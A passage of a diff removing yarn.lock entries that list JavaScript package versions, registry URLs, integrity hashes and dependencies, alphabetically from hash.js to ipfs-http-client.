-    safe-buffer "^5.2.0"
-
-hash.js@1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.3.tgz#340dedbe6290187151c1ea1d777a3448935df846"
-  integrity sha512-/UETyP0W22QILqS+6HowevwhEFJ3MBJnwTf75Qob9Wz9t0DPuisL8kW8YZMK62dHAKE1c1p+gY1TtOLY+USEHA==
-  dependencies:
-    inherits "^2.0.3"
-    minimalistic-assert "^1.0.0"
-
-hash.js@1.1.7, hash.js@^1.0.0, hash.js@^1.0.3, hash.js@^1.1.7:
-  version "1.1.7"
-  resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42"
-  integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==
-  dependencies:
-    inherits "^2.0.3"
-    minimalistic-assert "^1.0.1"
-
-he@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
-  integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
-
-hex-color-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/hex-color-regex/-/hex-color-regex-1.1.0.tgz#4c06fccb4602fe2602b3c93df82d7e7dbf1a8a8e"
-  integrity sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ==
-
-history@^4.9.0:
-  version "4.10.1"
-  resolved "https://registry.yarnpkg.com/history/-/history-4.10.1.tgz#33371a65e3a83b267434e2b3f3b1b4c58aad4cf3"
-  integrity sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==
-  dependencies:
-    "@babel/runtime" "^7.1.2"
-    loose-envify "^1.2.0"
-    resolve-pathname "^3.0.0"
-    tiny-invariant "^1.0.2"
-    tiny-warning "^1.0.0"
-    value-equal "^1.0.1"
-
-hmac-drbg@^1.0.0, hmac-drbg@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
-  integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=
-  dependencies:
-    hash.js "^1.0.3"
-    minimalistic-assert "^1.0.0"
-    minimalistic-crypto-utils "^1.0.1"
-
-hoist-non-react-statics@^3.0.0, hoist-non-react-statics@^3.1.0, hoist-non-react-statics@^3.3.2:
-  version "3.3.2"
-  resolved "https://registry.yarnpkg.com/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz#ece0acaf71d62c2969c2ec59feff42a4b1a85b45"
-  integrity sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==
-  dependencies:
-    react-is "^16.7.0"
-
-homedir-polyfill@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz#743298cef4e5af3e194161fbadcc2151d3a058e8"
-  integrity sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==
-  dependencies:
-    parse-passwd "^1.0.0"
-
-hosted-git-info@^2.1.4:
-  version "2.8.9"
-  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
-  integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==
-
-hpack.js@^2.1.6:
-  version "2.1.6"
-  resolved "https://registry.yarnpkg.com/hpack.js/-/hpack.js-2.1.6.tgz#87774c0949e513f42e84575b3c45681fade2a0b2"
-  integrity sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=
-  dependencies:
-    inherits "^2.0.1"
-    obuf "^1.0.0"
-    readable-stream "^2.0.1"
-    wbuf "^1.1.0"
-
-hsl-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/hsl-regex/-/hsl-regex-1.0.0.tgz#d49330c789ed819e276a4c0d272dffa30b18fe6e"
-  integrity sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=
-
-hsla-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/hsla-regex/-/hsla-regex-1.0.0.tgz#c1ce7a3168c8c6614033a4b5f7877f3b225f9c38"
-  integrity sha1-wc56MWjIxmFAM6S194d/OyJfnDg=
-
-html-encoding-sniffer@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-1.0.2.tgz#e70d84b94da53aa375e11fe3a351be6642ca46f8"
-  integrity sha512-71lZziiDnsuabfdYiUeWdCVyKuqwWi23L8YeIgV9jSSZHCtb6wB1BKWooH7L3tn4/FuZJMVWyNaIDr4RGmaSYw==
-  dependencies:
-    whatwg-encoding "^1.0.1"
-
-html-entities@^1.3.1:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-1.4.0.tgz#cfbd1b01d2afaf9adca1b10ae7dffab98c71d2dc"
-  integrity sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA==
-
-html-escaper@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
-  integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==
-
-html-minifier-terser@^5.0.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz#922e96f1f3bb60832c2634b79884096389b1f054"
-  integrity sha512-ZPr5MNObqnV/T9akshPKbVgyOqLmy+Bxo7juKCfTfnjNniTAMdy4hz21YQqoofMBJD2kdREaqPPdThoR78Tgxg==
-  dependencies:
-    camel-case "^4.1.1"
-    clean-css "^4.2.3"
-    commander "^4.1.1"
-    he "^1.2.0"
-    param-case "^3.0.3"
-    relateurl "^0.2.7"
-    terser "^4.6.3"
-
-html-webpack-plugin@4.0.0-beta.11:
-  version "4.0.0-beta.11"
-  resolved "https://registry.yarnpkg.com/html-webpack-plugin/-/html-webpack-plugin-4.0.0-beta.11.tgz#3059a69144b5aecef97708196ca32f9e68677715"
-  integrity sha512-4Xzepf0qWxf8CGg7/WQM5qBB2Lc/NFI7MhU59eUDTkuQp3skZczH4UA1d6oQyDEIoMDgERVhRyTdtUPZ5s5HBg==
-  dependencies:
-    html-minifier-terser "^5.0.1"
-    loader-utils "^1.2.3"
-    lodash "^4.17.15"
-    pretty-error "^2.1.1"
-    tapable "^1.1.3"
-    util.promisify "1.0.0"
-
-htmlparser2@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-6.1.0.tgz#c4d762b6c3371a05dbe65e94ae43a9f845fb8fb7"
-  integrity sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==
-  dependencies:
-    domelementtype "^2.0.1"
-    domhandler "^4.0.0"
-    domutils "^2.5.2"
-    entities "^2.0.0"
-
-http-deceiver@^1.2.7:
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/http-deceiver/-/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87"
-  integrity sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=
-
-http-errors@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f"
-  integrity sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-errors@~1.6.2:
-  version "1.6.3"
-  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d"
-  integrity sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.0"
-    statuses ">= 1.4.0 < 2"
-
-http-errors@~1.7.2:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
-  integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw==
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.4"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-parser-js@>=0.5.1:
-  version "0.5.3"
-  resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.3.tgz#01d2709c79d41698bb01d4decc5e9da4e4a033d9"
-  integrity sha512-t7hjvef/5HEK7RWTdUzVUhl8zkEu+LlaE0IYzdMuvbSDipxBRpOn4Uhw8ZyECEa808iVT8XCjzo6xmYt4CiLZg==
-
-http-proxy-middleware@0.19.1:
-  version "0.19.1"
-  resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz#183c7dc4aa1479150306498c210cdaf96080a43a"
-  integrity sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q==
-  dependencies:
-    http-proxy "^1.17.0"
-    is-glob "^4.0.0"
-    lodash "^4.17.11"
-    micromatch "^3.1.10"
-
-http-proxy@^1.17.0:
-  version "1.18.1"
-  resolved "https://registry.yarnpkg.com/http-proxy/-/http-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549"
-  integrity sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==
-  dependencies:
-    eventemitter3 "^4.0.0"
-    follow-redirects "^1.0.0"
-    requires-port "^1.0.0"
-
-http-signature@~1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1"
-  integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=
-  dependencies:
-    assert-plus "^1.0.0"
-    jsprim "^1.2.2"
-    sshpk "^1.7.0"
-
-https-browserify@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
-  integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
-
-hyphenate-style-name@^1.0.2:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz#691879af8e220aea5750e8827db4ef62a54e361d"
-  integrity sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ==
-
-iconv-lite@0.4.24, iconv-lite@^0.4.24:
-  version "0.4.24"
-  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
-  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
-  dependencies:
-    safer-buffer ">= 2.1.2 < 3"
-
-iconv-lite@^0.6.2:
-  version "0.6.3"
-  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501"
-  integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==
-  dependencies:
-    safer-buffer ">= 2.1.2 < 3.0.0"
-
-icss-utils@^4.0.0, icss-utils@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-4.1.1.tgz#21170b53789ee27447c2f47dd683081403f9a467"
-  integrity sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==
-  dependencies:
-    postcss "^7.0.14"
-
-identity-obj-proxy@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz#94d2bda96084453ef36fbc5aaec37e0f79f1fc14"
-  integrity sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ=
-  dependencies:
-    harmony-reflect "^1.4.6"
-
-ieee754@1.1.13:
-  version "1.1.13"
-  resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.1.13.tgz#ec168558e95aa181fd87d37f55c32bbcb6708b84"
-  integrity sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==
-
-ieee754@^1.1.13, ieee754@^1.1.4:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
-  integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
-
-iferr@^0.1.5:
-  version "0.1.5"
-  resolved "https://registry.yarnpkg.com/iferr/-/iferr-0.1.5.tgz#c60eed69e6d8fdb6b3104a1fcbca1c192dc5b501"
-  integrity sha1-xg7taebY/bazEEofy8ocGS3FtQE=
-
-ignore@^3.3.5:
-  version "3.3.10"
-  resolved "https://registry.yarnpkg.com/ignore/-/ignore-3.3.10.tgz#0a97fb876986e8081c631160f8f9f389157f0043"
-  integrity sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==
-
-ignore@^4.0.6:
-  version "4.0.6"
-  resolved "https://registry.yarnpkg.com/ignore/-/ignore-4.0.6.tgz#750e3db5862087b4737ebac8207ffd1ef27b25fc"
-  integrity sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==
-
-ignore@^5.1.1:
-  version "5.1.8"
-  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.1.8.tgz#f150a8b50a34289b33e22f5889abd4d8016f0e57"
-  integrity sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==
-
-image-size@~0.5.0:
-  version "0.5.5"
-  resolved "https://registry.yarnpkg.com/image-size/-/image-size-0.5.5.tgz#09dfd4ab9d20e29eb1c3e80b8990378df9e3cb9c"
-  integrity sha1-Cd/Uq50g4p6xw+gLiZA3jfnjy5w=
-
-imagesloaded@^4.1.1:
-  version "4.1.4"
-  resolved "https://registry.yarnpkg.com/imagesloaded/-/imagesloaded-4.1.4.tgz#1376efcd162bb768c34c3727ac89cc04051f3cc7"
-  integrity sha512-ltiBVcYpc/TYTF5nolkMNsnREHW+ICvfQ3Yla2Sgr71YFwQ86bDwV9hgpFhFtrGPuwEx5+LqOHIrdXBdoWwwsA==
-  dependencies:
-    ev-emitter "^1.0.0"
-
-immediate@^3.2.3:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/immediate/-/immediate-3.3.0.tgz#1aef225517836bcdf7f2a2de2600c79ff0269266"
-  integrity sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==
-
-immer@1.10.0:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/immer/-/immer-1.10.0.tgz#bad67605ba9c810275d91e1c2a47d4582e98286d"
-  integrity sha512-O3sR1/opvCDGLEVcvrGTMtLac8GJ5IwZC4puPrLuRj3l7ICKvkmA0vGuU9OW8mV9WIBRnaxp5GJh9IEAaNOoYg==
-
-import-cwd@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/import-cwd/-/import-cwd-2.1.0.tgz#aa6cf36e722761285cb371ec6519f53e2435b0a9"
-  integrity sha1-qmzzbnInYShcs3HsZRn1PiQ1sKk=
-  dependencies:
-    import-from "^2.1.0"
-
-import-fresh@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546"
-  integrity sha1-2BNVwVYS04bGH53dOSLUMEgipUY=
-  dependencies:
-    caller-path "^2.0.0"
-    resolve-from "^3.0.0"
-
-import-fresh@^3.0.0, import-fresh@^3.1.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
-  integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==
-  dependencies:
-    parent-module "^1.0.0"
-    resolve-from "^4.0.0"
-
-import-from@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/import-from/-/import-from-2.1.0.tgz#335db7f2a7affd53aaa471d4b8021dee36b7f3b1"
-  integrity sha1-M1238qev/VOqpHHUuAId7ja387E=
-  dependencies:
-    resolve-from "^3.0.0"
-
-import-local@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/import-local/-/import-local-2.0.0.tgz#55070be38a5993cf18ef6db7e961f5bee5c5a09d"
-  integrity sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==
-  dependencies:
-    pkg-dir "^3.0.0"
-    resolve-cwd "^2.0.0"
-
-imurmurhash@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
-  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
-
-indent-string@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251"
-  integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==
-
-indexes-of@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/indexes-of/-/indexes-of-1.0.1.tgz#f30f716c8e2bd346c7b67d3df3915566a7c05607"
-  integrity sha1-8w9xbI4r00bHtn0985FVZqfAVgc=
-
-indx@^0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/indx/-/indx-0.2.3.tgz#15dcf56ee9cf65c0234c513c27fbd580e70fbc50"
-  integrity sha1-Fdz1bunPZcAjTFE8J/vVgOcPvFA=
-
-infer-owner@^1.0.3, infer-owner@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/infer-owner/-/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467"
-  integrity sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==
-
-inflight@^1.0.4:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
-  dependencies:
-    once "^1.3.0"
-    wrappy "1"
-
-inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.0, inherits@~2.0.1, inherits@~2.0.3:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
-  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
-
-inherits@2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1"
-  integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=
-
-inherits@2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
-  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
-
-ini@^1.3.4, ini@^1.3.5:
-  version "1.3.8"
-  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
-  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
-
-inline-style-prefixer@^3.0.6:
-  version "3.0.8"
-  resolved "https://registry.yarnpkg.com/inline-style-prefixer/-/inline-style-prefixer-3.0.8.tgz#8551b8e5b4d573244e66a34b04f7d32076a2b534"
-  integrity sha1-hVG45bTVcyROZqNLBPfTIHaitTQ=
-  dependencies:
-    bowser "^1.7.3"
-    css-in-js-utils "^2.0.0"
-
-inquirer@7.0.4:
-  version "7.0.4"
-  resolved "https://registry.yarnpkg.com/inquirer/-/inquirer-7.0.4.tgz#99af5bde47153abca23f5c7fc30db247f39da703"
-  integrity sha512-Bu5Td5+j11sCkqfqmUTiwv+tWisMtP0L7Q8WrqA2C/BbBhy1YTdFrvjjlrKq8oagA/tLQBski2Gcx/Sqyi2qSQ==
-  dependencies:
-    ansi-escapes "^4.2.1"
-    chalk "^2.4.2"
-    cli-cursor "^3.1.0"
-    cli-width "^2.0.0"
-    external-editor "^3.0.3"
-    figures "^3.0.0"
-    lodash "^4.17.15"
-    mute-stream "0.0.8"
-    run-async "^2.2.0"
-    rxjs "^6.5.3"
-    string-width "^4.1.0"
-    strip-ansi "^5.1.0"
-    through "^2.3.6"
-
-inquirer@^6.2.2:
-  version "6.5.2"
-  resolved "https://registry.yarnpkg.com/inquirer/-/inquirer-6.5.2.tgz#ad50942375d036d327ff528c08bd5fab089928ca"
-  integrity sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==
-  dependencies:
-    ansi-escapes "^3.2.0"
-    chalk "^2.4.2"
-    cli-cursor "^2.1.0"
-    cli-width "^2.0.0"
-    external-editor "^3.0.3"
-    figures "^2.0.0"
-    lodash "^4.17.12"
-    mute-stream "0.0.7"
-    run-async "^2.2.0"
-    rxjs "^6.4.0"
-    string-width "^2.1.0"
-    strip-ansi "^5.1.0"
-    through "^2.3.6"
-
-inquirer@^7.0.0:
-  version "7.3.3"
-  resolved "https://registry.yarnpkg.com/inquirer/-/inquirer-7.3.3.tgz#04d176b2af04afc157a83fd7c100e98ee0aad003"
-  integrity sha512-JG3eIAj5V9CwcGvuOmoo6LB9kbAYT8HXffUl6memuszlwDC/qvFAJw49XJ5NROSFNPxp3iQg1GqkFhaY/CR0IA==
-  dependencies:
-    ansi-escapes "^4.2.1"
-    chalk "^4.1.0"
-    cli-cursor "^3.1.0"
-    cli-width "^3.0.0"
-    external-editor "^3.0.3"
-    figures "^3.0.0"
-    lodash "^4.17.19"
-    mute-stream "0.0.8"
-    run-async "^2.4.0"
-    rxjs "^6.6.0"
-    string-width "^4.1.0"
-    strip-ansi "^6.0.0"
-    through "^2.3.6"
-
-internal-ip@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/internal-ip/-/internal-ip-4.3.0.tgz#845452baad9d2ca3b69c635a137acb9a0dad0907"
-  integrity sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg==
-  dependencies:
-    default-gateway "^4.2.0"
-    ipaddr.js "^1.9.0"
-
-internal-slot@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.3.tgz#7347e307deeea2faac2ac6205d4bc7d34967f59c"
-  integrity sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==
-  dependencies:
-    get-intrinsic "^1.1.0"
-    has "^1.0.3"
-    side-channel "^1.0.4"
-
-interpret@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/interpret/-/interpret-1.4.0.tgz#665ab8bc4da27a774a40584e812e3e0fa45b1a1e"
-  integrity sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==
-
-invariant@^2.2.2, invariant@^2.2.4:
-  version "2.2.4"
-  resolved "https://registry.yarnpkg.com/invariant/-/invariant-2.2.4.tgz#610f3c92c9359ce1db616e538008d23ff35158e6"
-  integrity sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==
-  dependencies:
-    loose-envify "^1.0.0"
-
-invert-kv@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/invert-kv/-/invert-kv-1.0.0.tgz#104a8e4aaca6d3d8cd157a8ef8bfab2d7a3ffdb6"
-  integrity sha1-EEqOSqym09jNFXqO+L+rLXo//bY=
-
-ip-regex@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/ip-regex/-/ip-regex-2.1.0.tgz#fa78bf5d2e6913c911ce9f819ee5146bb6d844e9"
-  integrity sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=
-
-ip-regex@^4.0.0:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/ip-regex/-/ip-regex-4.3.0.tgz#687275ab0f57fa76978ff8f4dddc8a23d5990db5"
-  integrity sha512-B9ZWJxHHOHUhUjCPrMpLD4xEq35bUTClHM1S6CBU5ixQnkZmwipwgc96vAd7AAGM9TGHvJR+Uss+/Ak6UphK+Q==
-
-ip@^1.1.0, ip@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/ip/-/ip-1.1.5.tgz#bdded70114290828c0a039e72ef25f5aaec4354a"
-  integrity sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=
-
-ipaddr.js@1.9.1, ipaddr.js@^1.9.0:
-  version "1.9.1"
-  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
-  integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
-
-ipfs-core-utils@^0.3.0:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/ipfs-core-utils/-/ipfs-core-utils-0.3.2.tgz#24112ff687f79bd8d536c9b6aff4b7964161b8b9"
-  integrity sha512-4kn6qbhYsyn48HeH7qAKPG07CxwEr1EsgRccGQOUy/5OjcfqIjw4HnBwYmsRU6QuWsNR7nOAhwrVc6Y3glVvnQ==
-  dependencies:
-    blob-to-it "0.0.1"
-    browser-readablestream-to-it "0.0.1"
-    buffer "^5.6.0"
-    cids "^0.8.3"
-    err-code "^2.0.0"
-    ipfs-utils "^3.0.0"
-    it-all "^1.0.1"
-    it-map "^1.0.0"
-    it-peekable "0.0.1"
-
-ipfs-http-client@^45.0.0:
-  version "45.0.0"
